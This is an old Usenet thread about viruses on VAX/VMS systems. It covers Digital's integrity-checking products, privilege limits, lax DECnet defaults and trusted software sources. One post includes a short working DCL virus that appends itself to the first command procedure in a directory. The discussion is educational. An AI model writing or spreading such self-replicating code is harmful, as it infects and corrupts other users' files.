Please send responses to jd...@pafosu1.hq.af.mil
|>jd...@pafosu1.hq.af.mil (James A Dell) writes:
|>Does anyone know of any virus checkers out there for use on VMS?
Multi-user operating systems -- particularly those that meet the
National Computer Security Center (NCSC) Class C2 or higher security
criteria -- have a number of features that can be used to make the
system resistant to a security attack. Systems that lack security
support and multi-user capabilities are more vulnerable to attack.
As there are customer sites that need to test for compliance and to
periodically evaluate the current security status of the system,
Digital does have products available:
DECdetect ("Polycenter System Integrity Checker") is available, and
knows how to scan for a variety of security problems. DECdetect uses
cryptographic checksums -- and various other checks -- to verify the
integrity of the system.
Also available is DECinspect, which helps the system manager obtain
and maintain compliance with a local site-specific security policy.
And Security-Enhanced OpenVMS (SEVMS) is of interest to some customers.
SEVMS is an evaluated NCSC Class B1 variant of the OpenVMS operating
system. SEVMS adds mandatory access control support to OpenVMS, as
well as a number of other security and auditing features. (I mention
this product as the original poster is located at a military site.)
--
Steve Hoffman hof...@xdelta.enet.dec.com EMT-Intermediate
"I may work for Digital Equipment Corporation, but I don't speak for it."
>Does anyone know of any virus checkers out there for use on VMS?
Wouldn't VMS be the virus checker? What's a "VMS virus"?
Chris
--
Chris Kalisiak |"Pound for pound, lame puns are your best entertain-
kali...@cs.buffalo.edu | ment value." -- Gogo Dodo, 'Tiny Toon Adventures'
V076...@ubvms.bitnet |I'm a student; |You're in a Maze of Twisty Little
Tel:+1(716)692-5128 |I don't speak for UB. |Unix Variants - All Different.
Well, here's a rather trivial example of a VMS virus. When executed, it
appends itself to the first DCL procedure it finds in the current default
directory. When that procedure is executed, then if the virus code is
executed, it will do the same thing. One could easily modify it to skip any
procedures already infected with the virus, add time-dependent behavior to it,
etc.
$!XYZZY
$ OPEN/READ FILE 'F$ENV("PROCEDURE")'
$ OPEN/APPEND ELIF 'F$SEARCH("*.COM")'
$ LBL0: READ/END=DONE FILE REC
$ IF REC .NES. "$!XYZZY" THEN GOTO LBL0
$ LBL1: WRITE ELIF REC
$ READ/END=DONE FILE REC
$ IF REC .NES. "$!YZZYZ" THEN GOTO LBL1
$ WRITE ELIF REC
$ DONE: CLOSE FILE
$ CLOSE ELIF
$!YZZYX
--------------------------------------------------------------------------------
Carl J Lydick | INTERnet: CA...@SOL1.GPS.CALTECH.EDU | NSI/HEPnet: SOL1::CARL
Disclaimer: Hey, I understand VAXen and VMS. That's what I get paid for. My
understanding of astronomy is purely at the amateur level (or below). So
unless what I'm saying is directly related to VAX/VMS, don't hold me or my
organization responsible for it. If it IS related to VAX/VMS, you can try to
hold me responsible for it, but my organization had nothing to do with it.
Good job. Brainlock I guess, I wasn't thinking of viruses in layered stuff
when I said that there were no VMS viri that I knew of (and expressed a
certain fondness for the good old days when it was trivial to create DECNet
worms). As Carl's example illustrates, *anything* that's programmable with
an interpreter can be easily attacked on almost any system, because it's
trivial to "disassemble" the host program (since it's in human-readable
form) and usually just as comparatively easy to patch in a relatively
nondestructive manner. Spreadsheets, all kinds of scripts. Geez on the
Mac there are some notorious viri that only attack the HyperCard
application, although most of them are based on installed code routines
(XCMDs -- I suppose if you had an app on a whole bunch of systems that used
a custom shareable image library of utility routines something similar
might apply). TPU or EDT anybody?
Let's take it a step further: depending on the apps and the environment,
actual program source could be patched by a virus. Of course it would take
recompilation to complete the infection.
But I'm going to take a clue from the Mac world and say that "A DCL virus
is not a VMS virus" :-j .. not that it couldn't be a real headache. There
is literature in the libraries on this stuff, folks; I posted a Library of
Congress section reference here maybe six months ago, here it is again:
go find QA 76.9 A and start browsing titles.
--
Fred Morris VAX/VMS, Macintosh, distributed/remote computing guru
m3...@halcyon.com
There is also an important qualititative difference between the DCL virus
you posted and PC viruses. Namely, the former cannot infect the OS itself
and its utilities unless an infected DCL procedure is run from a privileged
account. In the PC case, any program or batch script from an untrusted source
potentially could infect the whole system. In the VMS case, infected programs
run from a nonprivileged account can only affect the user who runs them; they
cannot affect the OS or other users.
As long as those with privileged accounts adhere to the guidelines you mention
above, the system itself is safe from viruses. Individual nonprivileged users
can screw themselves by running untrusted applications, but they cannot
damage others.
--PSW
What I posted was, in fact, the guts of at least three virus programs I've
encountered over the last decade. They exist. They're not terribly uncommon.
They tend not to be a problem except on machines set up primarily for the
purpose of letting undergrads play games. Other than those machines, most VMS
users know enough not to accept a program from other than a trusted source
(that means either:
1) You retrieve the program from wherever it resides; or
2) You receive the program in response to a private e-mail message to
the person who sends it to you;
and
3) You trust either the person maintaining the archive (case 1) or the
person to whom you sent the e-mail (case 2);
and, in either case:
4) The trusted source has assured you that he's vetted the program).
If the above conditions aren't met, you don't install or run the program
without checking it yourself.
On machines turned over to undergrads, it's not uncommon for them to have the
PC mindset: No matter where a program comes from (including the case where you
have no idea where the program comes from), just trust it to do exactly what
it's purported to do. Hell, for most code available in archives, even if I
trust the archiver, I won't generally run new versions until I've seen some
responses from other's who've tried it out; or I'll check the source code.
=Good job. Brainlock I guess, I wasn't thinking of viruses in layered stuff
=when I said that there were no VMS viri that I knew of (and expressed a
=certain fondness for the good old days when it was trivial to create DECNet
=worms).
It still is. There are a lot of sites out there where, rather than taking the
time and trouble to add their users' favorite tasks to the DECnet database and
set up appropriate proxy accounts, the system managers just take the couple of
minutes required to enable the task object and the default DECnet account.
I've heard a number of people complain bitterly about the fact that DEC changed
things so that the low-security setup isn't the default.
=Let's take it a step further: depending on the apps and the environment,
=actual program source could be patched by a virus. Of course it would take
=recompilation to complete the infection.
Er, that's not necessarily true. You could, in principle, use the PATCH
utility to modify an executable so that it would invoke PATCH and modify other
executables. It wouldn't be easy, but it COULD be done, I think. The point
is, any program that's allowed to modify other programs can potentially be
infected with a virus. The difficulty may vary, but if the program can modify
other files on the system, that's all that's required to make it vulnerable to
a virus. Some people might not like to think so, but it's true nonetheless.
Unless, of course, security is lax. If that's the case, then it's
evidently not very difficult to find 'backdoors' (like in the case
of DECnet accounts).